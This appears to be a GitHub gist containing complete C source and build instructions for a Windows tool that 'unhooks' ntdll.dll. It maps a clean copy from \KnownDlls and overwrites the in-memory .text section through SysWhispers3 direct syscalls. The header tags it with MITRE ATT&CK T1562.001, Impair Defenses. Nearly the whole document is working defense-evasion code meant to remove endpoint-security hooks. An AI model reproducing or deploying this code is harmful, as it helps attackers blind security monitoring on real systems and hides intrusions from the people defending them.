Created
June 18, 2024 13:05
-
-
Save wizardy0ga/bb17c07f243e0fd197b2de99181bf52f to your computer and use it in GitHub Desktop.
Unhook ntdll with a fresh text section from the knowndlls directory using syscalls generated with syswhispers3.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: | |
wizardy0ga | |
Date: | |
June 2024 | |
Arch: | |
x64 | |
Description: | |
Unhook ntdll with a fresh text section from the knowndlls directory using syscalls generated with syswhispers3. | |
Compiler: | |
MSVC | |
Mitre: | |
Execution: | |
T1106 - Native API | |
Defense Evasion: | |
T1562.001 - Impair Defenses: Disable or Modify Tools | |
Syswhispers3: | |
Github: https://github.com/klezVirus/SysWhispers3 | |
Command: python syswhispers.py -m jumper -a x64 --functions NtProtectVirtualMemory,NtOpenSection,NtMapViewOfSection,NtClose,NtWriteVirtualMemory,NtUnmapViewOfSection -o syscalls | |
Directions: | |
Run syswhispers & copy the header file / asm into the same directory as this file. | |
Compile (Windows): | |
Open x64 vsdevshell. | |
ML64 /c syscalls-asm.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 | |
cl.exe syscalls.c main.c | |
link.exe /OUT:UnhookNtDll.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib syscalls-asm.x64.obj syscalls.obj main.obj | |
Reference: | |
https://github.com/vxunderground/VX-API/blob/69e5232de6474a7e698619fe7760dc0e3c292258/VX-API/HashStringSdbm.cpp#L14 | |
https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching | |
*/ | |
#include "syscalls.h" | |
#include "stdio.h" | |
#define nterror(api, status) printf("[!] " api " failed with error: 0x%0.8X\n", status); | |
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__); | |
#define check_syscall(api, code, status) if (status != code) { nterror(api, status); return FALSE; } | |
#define check_dos(dos_header) if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { printf("Dos signature mismatch.\n"); return -1; } | |
#define check_nt(nt_header) if (nt_header->Signature != IMAGE_NT_SIGNATURE) { printf("Nt signature mismatch.\n"); return -1; } | |
#define OBJ_CASE_INSENSITIVE 0x00000040L | |
#define STATUS_IMAGE_NOT_AT_BASE 0x40000003 | |
#define HASH_SEED 7291 | |
/* structs resourced from https://ntdoc.m417z.com/ */ | |
typedef struct _PEB_LDR_DATA | |
{ | |
ULONG Length; | |
BOOLEAN Initialized; | |
HANDLE SsHandle; | |
LIST_ENTRY InLoadOrderModuleList; | |
} PEB_LDR_DATA, * PPEB_LDR_DATA; | |
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)( | |
_In_ PVOID DllHandle, | |
_In_ ULONG Reason, | |
_In_opt_ PVOID Context | |
); | |
typedef struct _LDR_DATA_TABLE_ENTRY { | |
LIST_ENTRY InLoadOrderLinks; | |
LIST_ENTRY InMemoryOrderLinks; | |
LIST_ENTRY InInitializationOrderLinks; | |
PVOID DllBase; | |
PLDR_INIT_ROUTINE EntryPoint; | |
ULONG SizeOfImage; | |
UNICODE_STRING FullDllName; | |
UNICODE_STRING BaseDllName; | |
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; | |
typedef VOID(NTAPI* fpRtlInitUnicodeString) ( | |
PUNICODE_STRING DestinationString, | |
__drv_aliasesMem PCWSTR SourceString | |
); | |
/* Borrowed from MSDN */ | |
typedef struct _PEB | |
{ | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PPEB_LDR_DATA Ldr; | |
} PEB, * PPEB; | |
int main() { | |
LARGE_INTEGER SectionOffset = { 0 }; | |
OBJECT_ATTRIBUTES OA = { 0 }; | |
UNICODE_STRING String = { 0 }; | |
ULONG Hash = HASH_SEED, | |
OldProtection = 0; | |
INT Char = 0; | |
NTSTATUS Result = 0; | |
SIZE_T NtDllSize = 0, | |
TextSectionSize = 0, | |
BytesWritten = 0; | |
HANDLE hSection = NULL; | |
PPEB pPeb = NULL; | |
PVOID pHookedNtDllBase = NULL, | |
pUnhookedNtDllBase = NULL, | |
pHookedTextSection = NULL, | |
pUnhookedTextSection = NULL; | |
WCHAR NtDll[] = L"\\KnownDlls\\ntdll.dll"; | |
PLDR_DATA_TABLE_ENTRY pEntry = NULL; | |
PIMAGE_DOS_HEADER pHookedDos = NULL, | |
pUnhookedDos = NULL; | |
PIMAGE_NT_HEADERS pHookedNt = NULL, | |
pUnhookedNt = NULL; | |
int StringSize = 0; | |
/* Initialize ntdll path as unicode string */ | |
fpRtlInitUnicodeString RtlInitUnicodeString = (fpRtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString"); | |
if (!RtlInitUnicodeString) { | |
printf("[!] Failed to resolve RtlInitUnicodeString function from ntdll.\n"); return -1; | |
} | |
RtlInitUnicodeString(&String, NtDll); | |
InitializeObjectAttributes(&OA, &String, OBJ_CASE_INSENSITIVE, NULL, NULL); | |
/* Get a handle to the dll in the knowndlls directory */ | |
check_syscall("NtOpenSection", 0x0, Sw3NtOpenSection(&hSection, SECTION_MAP_READ, &OA)); | |
/* Use the section handle to map the ntdll image into this processes memory. This is the unhooked copy. */ | |
check_syscall("NtMapViewOfSection", STATUS_IMAGE_NOT_AT_BASE, Sw3NtMapViewOfSection( | |
hSection | |
, (HANDLE)-1 | |
, &pUnhookedNtDllBase | |
, 0 | |
, 0 | |
, &SectionOffset | |
, &NtDllSize | |
, ViewShare | |
, 0 | |
, PAGE_READONLY | |
)); | |
if (hSection == INVALID_HANDLE_VALUE) { | |
printf("[!] Invalid handle value was returned by NtMapViewOfSection.\n"); return -1; | |
} | |
print("Mapped %S to %lld byte image at 0x%p", String.Buffer, NtDllSize, pUnhookedNtDllBase); | |
/* Get a the base of hooked ntdll from local peb. Hash ntdll name using sdbm. */ | |
pPeb = (PPEB)__readgsqword(0x60); | |
for ( | |
pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink; | |
pEntry->DllBase != NULL; | |
pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink | |
) { | |
Hash = HASH_SEED; | |
Char = 0; | |
PWCHAR pDllName = pEntry->BaseDllName.Buffer; | |
while (Char = towlower(*pDllName++)) { | |
Hash = Char + (Hash << 6) + (Hash << 16) - Hash; | |
} | |
if (Hash == 0x841C5859) { | |
print("Found %S base address in memory at 0x%p", pEntry->BaseDllName.Buffer, pEntry->DllBase); | |
pHookedNtDllBase = pEntry->DllBase; | |
} | |
} | |
if (!pHookedNtDllBase || !pUnhookedNtDllBase) { | |
printf("Failed to locate hooked or unhooked ntdll in memory.\n"); return -1; | |
} | |
/* Get the text sections from hooked & unhooked ntdll images */ | |
check_dos((pHookedDos = (PIMAGE_DOS_HEADER)pHookedNtDllBase)); | |
check_dos((pUnhookedDos = (PIMAGE_DOS_HEADER)pUnhookedNtDllBase)); | |
check_nt ((pHookedNt = (PIMAGE_NT_HEADERS)( (PBYTE)pHookedNtDllBase + pHookedDos->e_lfanew) )); | |
check_nt ((pUnhookedNt = (PIMAGE_NT_HEADERS)( (PBYTE)pUnhookedNtDllBase + pUnhookedDos->e_lfanew) )); | |
pHookedTextSection = (PVOID)( (ULONG_PTR)pHookedNtDllBase + pHookedNt->OptionalHeader.BaseOfCode ); | |
pUnhookedTextSection = (PVOID)( (ULONG_PTR)pUnhookedNtDllBase + pUnhookedNt->OptionalHeader.BaseOfCode ); | |
TextSectionSize = pHookedNt->OptionalHeader.SizeOfCode; | |
if (!pHookedTextSection || !pUnhookedTextSection) { | |
printf("Failed to locate text section for hooked or unhooked dll image.\n"); return -1; | |
} | |
print("Found hooked (0x%p) & unhooked (0x%p) text sections", pHookedTextSection, pUnhookedTextSection); | |
/* Set memory protections to allow copy. Copy unhooked text section into hooked. Restore memroy protections. */ | |
check_syscall("NtProtectVirtualMemory [RWX]" , 0x0, Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &TextSectionSize, PAGE_EXECUTE_WRITECOPY, &OldProtection)); | |
check_syscall("NtWriteVirtualMemory" , 0x0, Sw3NtWriteVirtualMemory((HANDLE)-1, pHookedTextSection, pUnhookedTextSection, TextSectionSize, &BytesWritten)); | |
check_syscall("NtProtectVirtualMemory [Restore]", 0x0, Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &TextSectionSize, OldProtection, &OldProtection)); | |
print("Copied unhooked text section into hooked text section. Unhooking complete! Press enter to cleanup."); | |
getchar(); | |
/* Cleanup */ | |
check_syscall("NtUnmapViewOfSection", 0x0, Sw3NtUnmapViewOfSection((HANDLE)-1, pUnhookedNtDllBase)); | |
check_syscall("NtClose", 0x0, Sw3NtClose(hSection)); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment